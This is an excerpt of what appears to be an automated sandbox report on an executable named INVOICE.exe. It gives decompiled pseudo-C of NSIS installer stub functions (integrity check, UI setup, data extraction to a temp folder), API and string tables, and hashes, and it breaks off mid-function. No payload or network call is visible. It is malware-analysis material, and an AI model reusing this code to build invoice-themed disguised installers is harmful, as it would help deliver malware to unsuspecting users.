					 *0x442002 = 0x78;
					 *0x442004 = 0;
					E0040640B(_t78, __eflags, 0x80000001, L"Control Panel\\Desktop\\ResourceLocale", 0, 0x42d268, 0);
					__eflags =  *0x42d268;
					if(__eflags == 0) {
						E0040640B(_t78, __eflags, 0x80000003, L".DEFAULT\\Control Panel\\International",  &M004083D4, 0x42d268, 0);
					}
					lstrcatW(L"1033", _t76);
				} else {
					E00406484(L"1033",  *_t22() & 0x0000ffff);
				}
				E00403EC2(_t78, _t90);
				 *0x434f80 =  *0x434f18 & 0x00000020;
				 *0x434f9c = 0x10000;
				if(E00405F14(_t90, 0x440800) != 0) {
					L16:
					if(E00405F14(_t98, 0x440800) == 0) {
						E0040657A(_t76, 0, _t82, 0x440800,  *((intOrPtr*)(_t82 + 0x118)));
					}
					_t30 = LoadImageW( *0x434f00, 0x67, 1, 0, 0, 0x8040); // executed
					 *0x433ee8 = _t30;
					if( *((intOrPtr*)(_t82 + 0x50)) == 0xffffffff) {
						L21:
						if(E0040140B(0) == 0) {
							_t32 = E00403EC2(_t78, __eflags);
							__eflags =  *0x434fa0;
							if( *0x434fa0 != 0) {
								_t33 = E00405672(_t32, 0);
								__eflags = _t33;
								if(_t33 == 0) {
									E0040140B(1);
									goto L33;
								}
								__eflags =  *0x433ecc; // 0x0
								if(__eflags == 0) {
									E0040140B(2);
								}
								goto L22;
							}
							ShowWindow( *0x42d248, 5); // executed
							_t39 = E0040689A("RichEd20"); // executed
							__eflags = _t39;
							if(_t39 == 0) {
								E0040689A("RichEd32");
							}
							_t87 = L"RichEdit20W";
							_t40 = GetClassInfoW(0, _t87, 0x433ea0);
							__eflags = _t40;
							if(_t40 == 0) {
								GetClassInfoW(0, L"RichEdit", 0x433ea0);
								 *0x433ec4 = _t87;
								RegisterClassW(0x433ea0);
							}
							_t41 =  *0x433ee0; // 0x0
							_t44 = DialogBoxParamW( *0x434f00, _t41 + 0x00000069 & 0x0000ffff, 0, E00403F9A, 0); // executed
							E00403B3C(E0040140B(5), 1);
							return _t44;
						}
						L22:
						_t36 = 2;
						return _t36;
					} else {
						_t78 =  *0x434f00;
						 *0x433ea4 = E00401000;
						 *0x433eb0 =  *0x434f00;
						 *0x433eb4 = _t30;
						 *0x433ec4 = 0x40a380;
						if(RegisterClassW(0x433ea0) == 0) {
							L33:
							__eflags = 0;
							return 0;
						}
						SystemParametersInfoW(0x30, 0,  &_v16, 0);
						 *0x42d248 = CreateWindowExW(0x80, 0x40a380, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x434f00, 0);
						goto L21;
					}
				} else {
					_t78 =  *(_t82 + 0x48);
					_t92 = _t78;
					if(_t78 == 0) {
						goto L16;
					}
					_t76 = 0x432ea0;
					E0040640B(_t78, _t92,  *((intOrPtr*)(_t82 + 0x44)),  *0x434f38 + _t78 * 2,  *0x434f38 +  *(_t82 + 0x4c) * 2, 0x432ea0, 0);
					_t63 =  *0x432ea0; // 0x43
					if(_t63 == 0) {
						goto L16;
					}
					if(_t63 == 0x22) {
						_t76 = 0x432ea2;
						 *((short*)(E00405E39(0x432ea2, 0x22))) = 0;
					}
					_t65 = _t76 + lstrlenW(_t76) * 2 - 8;
					if(_t65 <= _t76 || lstrcmpiW(_t65, L".exe") != 0) {
						L15:
						E0040653D(0x440800, E00405E0C(_t76));
						goto L16;
					} else {
						_t69 = GetFileAttributesW(_t76);
						if(_t69 == 0xffffffff) {
							L14:
							E00405E58(_t76);
							goto L15;
						}
						_t98 = _t69 & 0x00000010;
						if((_t69 & 0x00000010) != 0) {
							goto L15;
						}
						goto L14;
					}
				}
			}

0x00403bf2
0x00403bfb
0x00403c02
0x00403c04
0x00403c18
0x00403c2a
0x00403c33
0x00403c3c
0x00403c43
0x00403c48
0x00403c4f
0x00403c62
0x00403c62
0x00403c6d
0x00403c06
0x00403c11
0x00403c11
0x00403c72
0x00403c85
0x00403c8a
0x00403c9b
0x00403d2d
0x00403d35
0x00403d3e
0x00403d3e
0x00403d54
0x00403d5a
0x00403d68
0x00403de9
0x00403df1
0x00403dfb
0x00403e00
0x00403e06
0x00403e90
0x00403e95
0x00403e97
0x00403eb3
0x00000000
0x00403eb3
0x00403e99
0x00403e9f
0x00403ea7
0x00403ea7
0x00000000
0x00403e9f
0x00403e14
0x00403e1f
0x00403e24
0x00403e26
0x00403e2d
0x00403e2d
0x00403e38
0x00403e40
0x00403e42
0x00403e44
0x00403e4d
0x00403e50
0x00403e56
0x00403e56
0x00403e5c
0x00403e75
0x00403e86
0x00000000
0x00403e8b
0x00403df3
0x00403df5
0x00000000
0x00403d6a
0x00403d6a
0x00403d76
0x00403d80
0x00403d86
0x00403d8b
0x00403d9a
0x00403eb8
0x00403eb8
0x00000000
0x00403eb8
0x00403da9
0x00403de4
0x00000000
0x00403de4
0x00403ca1
0x00403ca1
0x00403ca4
0x00403ca6
0x00000000
0x00000000
0x00403cb4
0x00403cc6
0x00403ccb
0x00403cd4
0x00000000
0x00000000
0x00403cda
0x00403cdc
0x00403ce9
0x00403ce9
0x00403cf2
0x00403cf8
0x00403d20
0x00403d28
0x00000000
0x00403d0a
0x00403d0b
0x00403d14
0x00403d1a
0x00403d1b
0x00000000
0x00403d1b
0x00403d16
0x00403d18
0x00000000
0x00000000
0x00000000
0x00403d18
0x00403cf8

APIs

Part of subcall function 0040690A: GetModuleHandleA.KERNEL32(?,00000020,?,0040363D,0000000B), ref: 0040691C
Part of subcall function 0040690A: GetProcAddress.KERNEL32(00000000,?), ref: 00406937

lstrcatW.KERNEL32(1033,0042D268), ref: 00403C6D
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,00440800,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,77253420), ref: 00403CED
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,00440800,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000), ref: 00403D00
GetFileAttributesW.KERNEL32(Call,?,00000000,?), ref: 00403D0B
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,00440800), ref: 00403D54

Part of subcall function 00406484: wsprintfW.USER32 ref: 00406491

RegisterClassW.USER32(00433EA0), ref: 00403D91
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403DA9
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403DDE
ShowWindow.USER32(00000005,00000000,?,00000000,?), ref: 00403E14
GetClassInfoW.USER32(00000000,RichEdit20W,00433EA0), ref: 00403E40
GetClassInfoW.USER32(00000000,RichEdit,00433EA0), ref: 00403E4D
RegisterClassW.USER32(00433EA0), ref: 00403E56
DialogBoxParamW.USER32(?,00000000,00403F9A,00000000), ref: 00403E75

Strings

Call, xrefs: 00403CB4, 00403CBD, 00403CCB, 00403D1A, 00403D20
1033, xrefs: 00403C0C, 00403C68
RichEd32, xrefs: 00403E28
Control Panel\Desktop\ResourceLocale, xrefs: 00403C20
RichEdit20W, xrefs: 00403E38, 00403E3E
RichEdit, xrefs: 00403E47
C:\Users\user\AppData\Local\Temp\, xrefs: 00403BF1
_Nb, xrefs: 00403D70, 00403DD8
.exe, xrefs: 00403CFA
RichEd20, xrefs: 00403E1A
.DEFAULT\Control Panel\International, xrefs: 00403C58

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-3228750522
Opcode ID: 4d5bc0c8b1d06963261e86736c564a0ba68078006fcf7539d23d4665df175b37
Instruction ID: 6cc527b2f10929733706d009ff8c1d9b21e511251dd9cb17fe62514cef47010a
Opcode Fuzzy Hash: 4d5bc0c8b1d06963261e86736c564a0ba68078006fcf7539d23d4665df175b37
Instruction Fuzzy Hash: F561A670140300BED721AF66ED46F2B3A6CEB84B5AF40453FF945B62E2CB7D59018A6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040307D Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 181
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 80%

			E0040307D(void* __eflags, signed int _a4) {
				DWORD* _v8;
				DWORD* _v12;
				void* _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				long _t43;
				signed int _t50;
				void* _t53;
				void* _t57;
				intOrPtr* _t59;
				long _t60;
				signed int _t65;
				signed int _t70;
				signed int _t71;
				signed int _t77;
				intOrPtr _t80;
				long _t82;
				signed int _t85;
				signed int _t87;
				void* _t89;
				signed int _t90;
				signed int _t93;
				void* _t94;

				_t82 = 0;
				_v12 = 0;
				_v8 = 0;
				_t43 = GetTickCount();
				_t91 = L"C:\\Users\\Arthur\\Desktop\\INVOICE.exe";
				 *0x434f0c = _t43 + 0x3e8;
				GetModuleFileNameW(0, L"C:\\Users\\Arthur\\Desktop\\INVOICE.exe", 0x400);
				_t89 = E0040602D(_t91, 0x80000000, 3);
				_v16 = _t89;
				 *0x40a018 = _t89;
				if(_t89 == 0xffffffff) {
					return L"Error launching installer";
				}
				E0040653D(0x441800, _t91);
				E0040653D(0x444000, E00405E58(0x441800));
				_t50 = GetFileSize(_t89, 0);
				__eflags = _t50;
				 *0x42aa24 = _t50;
				_t93 = _t50;
				if(_t50 <= 0) {
					L24:
					E00403019(1);
					__eflags =  *0x434f14 - _t82;
					if( *0x434f14 == _t82) {
						goto L29;
					}
					__eflags = _v8 - _t82;
					if(_v8 == _t82) {
						L28:
						_t34 =  &_v24; // 0x40387d
						_t53 = GlobalAlloc(0x40,  *_t34); // executed
						_t94 = _t53;
						E004034E5( *0x434f14 + 0x1c);
						_t35 =  &_v24; // 0x40387d
						_push( *_t35);
						_push(_t94);
						_push(_t82);
						_push(0xffffffff); // executed
						_t57 = E004032B4(); // executed
						__eflags = _t57 - _v24;
						if(_t57 == _v24) {
							__eflags = _v44 & 0x00000001;
							 *0x434f10 = _t94;
							 *0x434f18 =  *_t94;
							if((_v44 & 0x00000001) != 0) {
								 *0x434f1c =  *0x434f1c + 1;
								__eflags =  *0x434f1c;
							}
							_t40 = _t94 + 0x44; // 0x44
							_t59 = _t40;
							_t85 = 8;
							do {
								_t59 = _t59 - 8;
								 *_t59 =  *_t59 + _t94;
								_t85 = _t85 - 1;
								__eflags = _t85;
							} while (_t85 != 0);
							_t60 = SetFilePointer(_v16, _t82, _t82, 1); // executed
							 *(_t94 + 0x3c) = _t60;
							E00405FE8(0x434f20, _t94 + 4, 0x40);
							__eflags = 0;
							return 0;
						}
						goto L29;
					}
					E004034E5( *0x41ea18);
					_t65 = E004034CF( &_a4, 4);
					__eflags = _t65;
					if(_t65 == 0) {
						goto L29;
					}
					__eflags = _v12 - _a4;
					if(_v12 != _a4) {
						goto L29;
					}
					goto L28;
				} else {
					do {
						_t90 = _t93;
						asm("sbb eax, eax");
						_t70 = ( ~( *0x434f14) & 0x00007e00) + 0x200;
						__eflags = _t93 - _t70;
						if(_t93 >= _t70) {
							_t90 = _t70;
						}
						_t71 = E004034CF(0x416a18, _t90);
						__eflags = _t71;
						if(_t71 == 0) {
							E00403019(1);
							L29:
							return L"Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
						}
						__eflags =  *0x434f14;
						if( *0x434f14 != 0) {
							__eflags = _a4 & 0x00000002;
							if((_a4 & 0x00000002) == 0) {
								E00403019(0);
							}
							goto L20;
						}
						E00405FE8( &_v44, 0x416a18, 0x1c);
						_t77 = _v44;
						__eflags = _t77 & 0xfffffff0;
						if((_t77 & 0xfffffff0) != 0) {
							goto L20;
						}
						__eflags = _v40 - 0xdeadbeef;
						if(_v40 != 0xdeadbeef) {
							goto L20;
						}
						__eflags = _v28 - 0x74736e49;
						if(_v28 != 0x74736e49) {
							goto L20;
						}
						__eflags = _v32 - 0x74666f73;
						if(_v32 != 0x74666f73) {
							goto L20;
						}
						__eflags = _v36 - 0x6c6c754e;
						if(_v36 != 0x6c6c754e) {
							goto L20;
						}
						_a4 = _a4 | _t77;
						_t87 =  *0x41ea18; // 0x3e7a0
						 *0x434fa0 =  *0x434fa0 | _a4 & 0x00000002;
						_t80 = _v20;
						__eflags = _t80 - _t93;
						 *0x434f14 = _t87;
						if(_t80 > _t93) {
							goto L29;
						}
						__eflags = _a4 & 0x00000008;
						if((_a4 & 0x00000008) != 0) {
							L16:
							_v8 = _v8 + 1;
							_t93 = _t80 - 4;
							__eflags = _t90 - _t93;
							if(_t90 > _t93) {
								_t90 = _t93;
							}
							goto L20;
						}
						__eflags = _a4 & 0x00000004;
						if((_a4 & 0x00000004) != 0) {
							break;
						}
						goto L16;
						L20:
						__eflags = _t93 -  *0x42aa24; // 0x3ffe8
						if(__eflags < 0) {
							_v12 = E004069F7(_v12, 0x416a18, _t90);
						}
						 *0x41ea18 =  *0x41ea18 + _t90;
						_t93 = _t93 - _t90;
						__eflags = _t93;
					} while (_t93 != 0);
					_t82 = 0;
					__eflags = 0;
					goto L24;
				}
			}

0x00403085
0x00403088
0x0040308b
0x0040308e
0x00403094
0x004030a5
0x004030aa
0x004030bd
0x004030c2
0x004030c5
0x004030cb
0x00000000
0x004030cd
0x004030de
0x004030ef
0x004030f6
0x004030fc
0x004030fe
0x00403103
0x00403105
0x004031f0
0x004031f2
0x004031f7
0x004031fe
0x00000000
0x00000000
0x00403200
0x00403203
0x00403227
0x00403227
0x0040322c
0x00403232
0x0040323d
0x00403242
0x00403242
0x00403245
0x00403246
0x00403247
0x00403249
0x0040324e
0x00403251
0x00403264
0x00403268
0x00403270
0x00403275
0x00403277
0x00403277
0x00403277
0x0040327f
0x0040327f
0x00403282
0x00403283
0x00403283
0x00403286
0x00403288
0x00403288
0x00403288
0x00403292
0x00403298
0x004032a6
0x004032ab
0x00000000
0x004032ab
0x00000000
0x00403251
0x0040320b
0x00403216
0x0040321b
0x0040321d
0x00000000
0x00000000
0x00403222
0x00403225
0x00000000
0x00000000
0x00000000
0x0040310b
0x00403110
0x00403115
0x00403119
0x00403120
0x00403125
0x00403127
0x00403129
0x00403129
0x0040312d
0x00403132
0x00403134
0x0040325c
0x00403253
0x00000000
0x00403253
0x0040313a
0x00403141
0x004031bd
0x004031c1
0x004031c5
0x004031ca
0x00000000
0x004031c1
0x0040314a
0x0040314f
0x00403152
0x00403157
0x00000000
0x00000000
0x00403159
0x00403160
0x00000000
0x00000000
0x00403162
0x00403169
0x00000000
0x00000000
0x0040316b
0x00403172
0x00000000
0x00000000
0x00403174
0x0040317b
0x00000000
0x00000000
0x0040317d
0x00403183
0x0040318c
0x00403192
0x00403195
0x00403197
0x0040319d
0x00000000
0x00000000
0x004031a3
0x004031a7
0x004031af
0x004031af
0x004031b2
0x004031b5
0x004031b7
0x004031b9
0x004031b9
0x00000000
0x004031b7
0x004031a9
0x004031ad
0x00000000
0x00000000
0x00000000
0x004031cb
0x004031cb
0x004031d1
0x004031dd
0x004031dd
0x004031e0
0x004031e6
0x004031e6
0x004031e6
0x004031ee
0x004031ee
0x00000000
0x004031ee

APIs

GetTickCount.KERNEL32 ref: 0040308E
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\INVOICE.exe,00000400,?,?,?,?,?,0040387D,?), ref: 004030AA

Part of subcall function 0040602D: GetFileAttributesW.KERNELBASE(00000003,004030BD,C:\Users\user\Desktop\INVOICE.exe,80000000,00000003,?,?,?,?,?,0040387D,?), ref: 00406031
Part of subcall function 0040602D: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,?,?,0040387D,?), ref: 00406053

GetFileSize.KERNEL32(00000000,00000000,00444000,00000000,00441800,00441800,C:\Users\user\Desktop\INVOICE.exe,C:\Users\user\Desktop\INVOICE.exe,80000000,00000003,?,?,?,?,?,0040387D), ref: 004030F6
GlobalAlloc.KERNELBASE(00000040,}8@,?,?,?,?,?,0040387D,?), ref: 0040322C

Strings

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403253
Null, xrefs: 00403174
C:\Users\user\Desktop\INVOICE.exe, xrefs: 00403094, 004030A3, 004030B7, 004030D7
Error launching installer, xrefs: 004030CD
}8@, xrefs: 00403227, 00403242
soft, xrefs: 0040316B
C:\Users\user\AppData\Local\Temp\, xrefs: 00403084
Inst, xrefs: 00403162

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop\INVOICE.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft$}8@
API String ID: 2803837635-2258963243
Opcode ID: b2925046ebf4ee23c20be954f21b6b8de3b8febbf6f0f410cc7df6a070a5bb34
Instruction ID: 750c061bb954c4555836cecba7cc54c639b148d890841a972b43b12454d44aa7
Opcode Fuzzy Hash: b2925046ebf4ee23c20be954f21b6b8de3b8febbf6f0f410cc7df6a070a5bb34
Instruction Fuzzy Hash: 7951B571904204AFDB10AF65ED42B9E7EACAB48756F14807BF904B62D1C77C9F408B9D

Uniqueness

Uniqueness Score: -1.00%

Function 004032B4 Relevance: 17.7, APIs: 4, Strings: 6, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E004032B4(int _a4, intOrPtr _a8, intOrPtr _a12, int _a16, signed char _a19) {
				signed int _v8;
				int _v12;
				intOrPtr _v16;
				long _v20;
				intOrPtr _v24;
				short _v152;
				void* _t65;
				long _t70;
				intOrPtr _t75;
				long _t76;
				intOrPtr _t77;
				void* _t78;
				int _t88;
				intOrPtr _t92;
				intOrPtr _t95;
				long _t96;
				signed int _t97;
				int _t98;
				int _t99;
				intOrPtr _t100;
				void* _t101;
				void* _t102;

				_t97 = _a16;
				_t92 = _a12;
				_v12 = _t97;
				if(_t92 == 0) {
					_v12 = 0x8000;
				}
				_v8 = _v8 & 0x00000000;
				_v16 = _t92;
				if(_t92 == 0) {
					_v16 = 0x422a20;
				}
				_t62 = _a4;
				if(_a4 >= 0) {
					E004034E5( *0x434f58 + _t62);
				}
				if(E004034CF( &_a16, 4) == 0) {
					L41:
					_push(0xfffffffd);
					goto L42;
				} else {
					if((_a19 & 0x00000080) == 0) {
						if(_t92 != 0) {
							if(_a16 < _t97) {
								_t97 = _a16;
							}
							if(E004034CF(_t92, _t97) != 0) {
								_v8 = _t97;
								L44:
								return _v8;
							} else {
								goto L41;
							}
						}
						if(_a16 <= _t92) {
							goto L44;
						}
						_t88 = _v12;
						while(1) {
							_t98 = _a16;
							if(_a16 >= _t88) {
								_t98 = _t88;
							}
							if(E004034CF(0x41ea20, _t98) == 0) {
								goto L41;
							}
							if(E004060DF(_a8, 0x41ea20, _t98) == 0) {
								L28:
								_push(0xfffffffe);
								L42:
								_pop(_t65);
								return _t65;
							}
							_v8 = _v8 + _t98;
							_a16 = _a16 - _t98;
							if(_a16 > 0) {
								continue;
							}
							goto L44;
						}
						goto L41;
					}
					_t70 = GetTickCount();
					 *0x40d384 =  *0x40d384 & 0x00000000;
					 *0x40d380 =  *0x40d380 & 0x00000000;
					_t14 =  &_a16;
					 *_t14 = _a16 & 0x7fffffff;
					_v20 = _t70;
					 *0x40ce68 = 8;
					 *0x416a10 = 0x40ea08;
					 *0x416a0c = 0x40ea08;
					 *0x416a08 = 0x416a08;
					_a4 = _a16;
					if( *_t14 <= 0) {
						goto L44;
					} else {
						goto L9;
					}
					while(1) {
						L9:
						_t99 = 0x4000;
						if(_a16 < 0x4000) {
							_t99 = _a16;
						}
						if(E004034CF(0x41ea20, _t99) == 0) {
							goto L41;
						}
						_a16 = _a16 - _t99;
						 *0x40ce58 = 0x41ea20;
						 *0x40ce5c = _t99;
						while(1) {
							_t95 = _v16;
							 *0x40ce60 = _t95;
							 *0x40ce64 = _v12;
							_t75 = E00406A65(0x40ce58);
							_v24 = _t75;
							if(_t75 < 0) {
								break;
							}
							_t100 =  *0x40ce60; // 0x425a20
							_t101 = _t100 - _t95;
							_t76 = GetTickCount();
							_t96 = _t76;
							if(( *0x434fb4 & 0x00000001) != 0 && (_t76 - _v20 > 0xc8 || _a16 == 0)) {
								wsprintfW( &_v152, L"... %d%%", MulDiv(_a4 - _a16, 0x64, _a4));
								_t102 = _t102 + 0xc;
								E0040559F(0,  &_v152); // executed
								_v20 = _t96;
							}
							if(_t101 == 0) {
								if(_a16 > 0) {
									goto L9;
								}
								goto L44;
							} else {
								if(_a12 != 0) {
									_t77 =  *0x40ce60; // 0x425a20
									_v8 = _v8 + _t101;
									_v12 = _v12 - _t101;
									_v16 = _t77;
									L23:
									if(_v24 != 1) {
										continue;
									}
									goto L44;
								}
								_t78 = E004060DF(_a8, _v16, _t101); // executed
								if(_t78 == 0) {
									goto L28;
								}
								_v8 = _v8 + _t101;
								goto L23;
							}
						}
						_push(0xfffffffc);
						goto L42;
					}
					goto L41;
				}
			}

0x004032bf
0x004032c3
0x004032c6
0x004032cb
0x004032cd
0x004032cd
0x004032d4
0x004032d8
0x004032dd
0x004032df
0x004032df
0x004032e6
0x004032eb
0x004032f6
0x004032f6
0x00403308
0x004034bd
0x004034bd
0x00000000
0x0040330e
0x00403312
0x0040346a
0x004034ad
0x004034af
0x004034af
0x004034bb
0x004034c2
0x004034c5
0x00000000
0x00000000
0x00000000
0x00000000
0x004034bb
0x0040346f
0x00000000
0x00000000
0x00403471
0x00403474
0x00403477
0x0040347a
0x0040347c
0x0040347c
0x0040348c
0x00000000
0x00000000
0x0040349a
0x00403464
0x00403464
0x004034bf
0x004034bf
0x00000000
0x004034bf
0x0040349c
0x0040349f
0x004034a6
0x00000000
0x00000000
0x00000000
0x004034a8
0x00000000
0x00403474
0x0040331e
0x00403320
0x00403327
0x0040332e
0x0040332e
0x00403335
0x0040333d
0x00403347
0x0040334c
0x00403354
0x0040335e
0x00403361
0x00000000
0x00000000
0x00000000
0x00000000
0x00403367
0x00403367
0x00403367
0x0040336f
0x00403371
0x00403371
0x00403382
0x00000000
0x00000000
0x00403388
0x0040338b
0x00403391
0x00403397
0x00403397
0x004033a2
0x004033a8
0x004033ad
0x004033b4
0x004033b7
0x00000000
0x00000000
0x004033bd
0x004033c3
0x004033c5
0x004033ce
0x004033d0
0x00403401
0x00403407
0x00403413
0x00403418
0x00403418
0x0040341d
0x00403458
0x00000000
0x00000000
0x00000000
0x0040341f
0x00403423
0x0040343a
0x0040343f
0x00403442
0x00403445
0x00403448
0x0040344c
0x00000000
0x00000000
0x00000000
0x00403452
0x0040342c
0x00403433
0x00000000
0x00000000
0x00403435
0x00000000
0x00403435
0x0040341d
0x00403460
0x00000000
0x00403460
0x00000000
0x00403367

APIs

GetTickCount.KERNEL32 ref: 0040331E
GetTickCount.KERNEL32 ref: 004033C5
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 004033EE
wsprintfW.USER32 ref: 00403401

Strings

*B, xrefs: 004032DF
}8@, xrefs: 004032B4
... %d%%, xrefs: 004033FB
A, xrefs: 0040347E
A, xrefs: 00403374
ZB, xrefs: 004033A2, 004033BD, 0040343A

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: *B$ ZB$ A$ A$... %d%%$}8@
API String ID: 551687249-3683892814
Opcode ID: d1cfd4714e4687a3a26bd4ac3846c46955ae89f51795138bd42b88bfc39313c7
Instruction ID: 54ab186c05730647c672001b6e56d135182c7b51176e178f40f708a1e84a381e
Opcode Fuzzy Hash: d1cfd4714e4687a3a26bd4ac3846c46955ae89f51795138bd42b88bfc39313c7
Instruction Fuzzy Hash: E251BD31810219EBCF11DF65DA44B9E7BB8AF05756F10827BE804BB2C1D7789E44CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040176F Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E0040176F(FILETIME* __ebx, void* __eflags) {
				void* __esi;
				void* _t35;
				void* _t43;
				void* _t45;
				FILETIME* _t51;
				FILETIME* _t64;
				void* _t66;
				signed int _t72;
				FILETIME* _t73;
				FILETIME* _t77;
				signed int _t79;
				WCHAR* _t81;
				void* _t83;
				void* _t84;
				void* _t86;

				_t77 = __ebx;
				 *(_t86 - 8) = E00402DA6(0x31);
				 *(_t86 + 8) =  *(_t86 - 0x30) & 0x00000007;
				_t35 = E00405E83( *(_t86 - 8));
				_push( *(_t86 - 8));
				_t81 = L"Call";
				if(_t35 == 0) {
					lstrcatW(E00405E0C(E0040653D(_t81, 0x441000)), ??);
				} else {
					E0040653D();
				}
				E004067C4(_t81);
				while(1) {
					__eflags =  *(_t86 + 8) - 3;
					if( *(_t86 + 8) >= 3) {
						_t66 = E00406873(_t81);
						_t79 = 0;
						__eflags = _t66 - _t77;
						if(_t66 != _t77) {
							_t73 = _t66 + 0x14;
							__eflags = _t73;
							_t79 = CompareFileTime(_t73, _t86 - 0x24);
						}
						asm("sbb eax, eax");
						_t72 =  ~(( *(_t86 + 8) + 0xfffffffd | 0x80000000) & _t79) + 1;
						__eflags = _t72;
						 *(_t86 + 8) = _t72;
					}
					__eflags =  *(_t86 + 8) - _t77;
					if( *(_t86 + 8) == _t77) {
						E00406008(_t81);
					}
					__eflags =  *(_t86 + 8) - 1;
					_t43 = E0040602D(_t81, 0x40000000, (0 |  *(_t86 + 8) != 0x00000001) + 1);
					__eflags = _t43 - 0xffffffff;
					 *(_t86 - 0x38) = _t43;
					if(_t43 != 0xffffffff) {
						break;
					}
					__eflags =  *(_t86 + 8) - _t77;
					if( *(_t86 + 8) != _t77) {
						E0040559F(0xffffffe2,  *(_t86 - 8));
						__eflags =  *(_t86 + 8) - 2;
						if(__eflags == 0) {
							 *((intOrPtr*)(_t86 - 4)) = 1;
						}
						L31:
						 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t86 - 4));
						__eflags =  *0x434f88;
						goto L32;
					} else {
						E0040653D("C:\Users\Arthur\AppData\Local\Temp\nspB8FC.tmp", _t83);
						E0040653D(_t83, _t81);
						E0040657A(_t77, _t81, _t83, "C:\Users\Arthur\AppData\Local\Temp\nspB8FC.tmp\System.dll",  *((intOrPtr*)(_t86 - 0x1c)));
